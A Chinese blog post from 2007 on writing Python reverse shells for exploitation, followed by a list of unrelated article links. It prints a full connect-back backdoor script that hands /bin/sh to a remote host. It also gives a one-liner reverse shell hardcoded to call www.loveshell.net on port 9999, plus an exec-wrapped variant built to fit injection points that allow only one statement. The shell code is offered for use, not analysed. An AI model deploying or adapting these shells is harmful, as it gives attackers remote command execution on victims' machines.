在漏洞利用Python代码真的很爽


Posted in Python onAugust 26, 2007

不知道怎么忽然想看这个,呵呵
小我的python的反shell的代码
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006

import sys
import os
import socket
shell = "/bin/sh"

def usage(programname):
  print "Python Connect-back Backdoor"
  print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
  print "Date: July 15th 2006\n"
  print "Usage: %s <conn_back_host> <port>\n" % programname

def main():
  if len(sys.argv) != 3: 
    usage(sys.argv[0])
    sys.exit(1)

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try: 
    s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
    print "[+] Connect ok." 
  except: 
    print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2]) 
    sys.exit(2)
  s.send("-------------------- Python Connect-back Backdoor --------------------\n")
  s.send("----------------------------- By wofeiwo -----------------------------\n")
  os.dup2(s.fileno(), 0)
  os.dup2(s.fileno(), 1)
  os.dup2(s.fileno(), 2)
  global shell
  os.system(shell)
  print "See U!"
  s.close()

if __name__ == "__main__": main()

用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是

import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");

如何?很短了吧?
不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';

注意是\\r\\n哦,即使在''里好象\r\n一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢?
翻了下手册
exec语句用来执行储存在字符串或文件中的Python语句。例如,我们可以在运行时生成一个包含Python代码的字符串,然后使用exec语句执行这些语句

eval语句用来计算存储在字符串中的有效Python表达式

呵呵,这里用eval好象会出错.
YY一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......

Python 相关文章推荐
python基础教程之数字处理(math)模块详解
Mar 25 Python
收集的几个Python小技巧分享
Nov 22 Python
5种Python单例模式的实现方式
Jan 14 Python
基于Python的接口测试框架实例
Nov 04 Python
Python利用multiprocessing实现最简单的分布式作业调度系统实例
Nov 14 Python
python 实现在txt指定行追加文本的方法
Apr 29 Python
Python3+django2.0+apache2+ubuntu14部署网站上线的方法
Jul 07 Python
解决python os.mkdir创建目录失败的问题
Oct 16 Python
使用python 对验证码图片进行降噪处理
Dec 18 Python
PyInstaller运行原理及常用操作详解
Jun 13 Python
从零开始的TensorFlow+VScode开发环境搭建的步骤(图文)
Aug 31 Python
详解Python模块化编程与装饰器
Jan 16 Python
python编程-将Python程序转化为可执行程序[整理]
Apr 09 #Python
python的几种开发工具介绍
Mar 07 #Python
王纯业的Python学习笔记 下载
Feb 10 #Python
一篇不错的Python入门教程
Feb 08 #Python
Python学习资料
Feb 08 #Python
Python完全新手教程
Feb 08 #Python
简明 Python 基础学习教程
Feb 08 #Python
You might like
用ADODB来让PHP操作ACCESS数据库的方法
2006/12/31 PHP
PHP开发中常用的8个小技巧
2008/08/27 PHP
Php Cookie的一个使用注意点
2008/11/08 PHP
PHP服务器页面间跳转实现方法
2012/08/02 PHP
CodeIgniter框架验证码类库文件与用法示例
2017/03/18 PHP
GRID拖拽行的实例代码
2013/07/18 Javascript
jQuery模拟黑客帝国矩阵效果实例
2015/06/28 Javascript
JavaScript实战之带收放动画效果的导航菜单
2016/08/16 Javascript
js中获取 table节点各tr及td的内容简单实例
2016/10/14 Javascript
jQuery实现的省市联动菜单功能示例【测试可用】
2017/01/13 Javascript
AngularJS表单验证功能分析
2017/05/26 Javascript
基于原生js运动方式关键点的总结(推荐)
2017/10/01 Javascript
vue实现百度下拉列表交互操作示例
2019/03/12 Javascript
vue或react项目生产环境去掉console.log的操作
2020/09/02 Javascript
python网络编程学习笔记(10):webpy框架
2014/06/09 Python
python版简单工厂模式
2017/10/16 Python
Python下调用Linux的Shell命令的方法
2018/06/12 Python
Python 类方法和实例方法(@classmethod),静态方法(@staticmethod)原理与用法分析
2019/09/20 Python
用python解压分析jar包实例
2020/01/16 Python
Spring Boot中使用IntelliJ IDEA插件EasyCode一键生成代码详细方法
2020/03/20 Python
numpy库ndarray多维数组的维度变换方法(reshape、resize、swapaxes、flatten)
2020/04/28 Python
python打包生成so文件的实现
2020/10/30 Python
会走动的图形html5时钟示例
2014/04/27 HTML / CSS
香蕉共和国Banana Republic官网:美国GAP旗下偏贵族风格服饰品牌
2016/11/21 全球购物
英国最大的自有市场,比亚马逊便宜:Flubit
2019/03/19 全球购物
办公室保洁员岗位职责
2013/12/02 职场文书
你懂得怎么写自荐信吗?
2013/12/27 职场文书
创先争优制度
2014/01/21 职场文书
优秀医生事迹材料
2014/02/12 职场文书
幼儿园家长寄语
2014/04/02 职场文书
机械设计及其自动化专业求职信
2014/06/09 职场文书
先进教育工作者事迹材料
2014/12/23 职场文书
维稳工作承诺书
2015/01/20 职场文书
单位推荐信范文
2015/03/27 职场文书
员工拾金不昧表扬稿
2015/05/05 职场文书
CSS3 实现的图片悬停的切换按钮
2021/04/13 HTML / CSS